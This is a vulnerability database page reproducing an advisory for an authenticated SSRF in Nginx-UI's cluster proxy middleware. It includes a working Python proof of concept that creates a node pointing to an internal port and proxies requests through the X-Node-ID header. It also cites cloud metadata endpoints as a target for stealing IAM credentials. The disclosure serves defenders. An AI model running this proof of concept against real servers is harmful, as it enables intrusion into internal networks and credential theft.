Loading...
Skip to main content

CVE-2026-44015 — Vulnerability in github.com/0xJacky/Nginx-UI —...

HIGH

Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services

Published April 29, 2026Updated June 25, 2026Source: osv

Summary

### Summary An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks. ### Details The nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can: 1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user) 2. Create a cluster node via `POST /api/nodes` pointing to any internal URL: ```json { "name": "ssrf_node", "url": "http://127.0.0.1:51820", "token": "<node_secret>", "enabled": true } ``` 3. Send any API request with the `X-Node-ID` header set to the created node's ID: ``` GET /api/settings HTTP/1.1 Authorization: <token> X-Node-ID: 1 ``` 4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address. **Vulnerable code path:** - `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc. The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain. ### PoC ```python import requests BASE = "http://TARGET:9000" TOKEN = "<authenticated_jwt_token>" HDR = {"Authorization": TOKEN} # Step 1: Get node_secret settings = requests.get(f"{BASE}/api/settings", headers=HDR).json() node_secret = settings["node"]["secret"] # Step 2: Create SSRF node pointing to internal service resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={ "name": "ssrf", "url": "http://127.0.0.1:51820", # internal-only port "token": node_secret, "enabled": True, }) node_id = resp.json()["id"] # Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings resp = requests.get( f"{BASE}/api/settings", headers={**HDR, "X-Node-ID": str(node_id)}, ) print(resp.status_code, resp.text[:200]) # Response comes from the INTERNAL service, not nginx-ui ``` This can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service. ### Impact An authenticated attacker can: - **Access internal services** bound to localhost or private networks that are not intended to be externally reachable - **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials - **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports - **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory) - **Bypass network segmentation** and firewalls that only restrict inbound traffic

Advisory Timeline

  • First published April 29, 2026 (166 days ago).
  • Last revised June 25, 2026 — 57 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/0xJacky/Nginx-UI
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2026-44015?
Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.5/10).
How do I check if my project is affected by CVE-2026-44015?
CVE-2026-44015 affects github.com/0xJacky/Nginx-UI. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44015 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-wr32-99hh-6f35
GO-2026-5719

Related CVEs

  • CVE-2026-27944
    CRITICAL

    Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

  • CVE-2026-33032
    CRITICAL

    nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2024-23827
    CRITICAL

    Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

  • CVE-2026-107811
    HIGH

    0xJacky/nginx-ui /api/nodes Leaks Cluster Node Tokens and Allows Cross-Node Impersonation as initUser

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

  • CVE-2026-107807
    HIGH

    Nginx UI: Node Secret Credential Exposure via URL Query Parameter

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies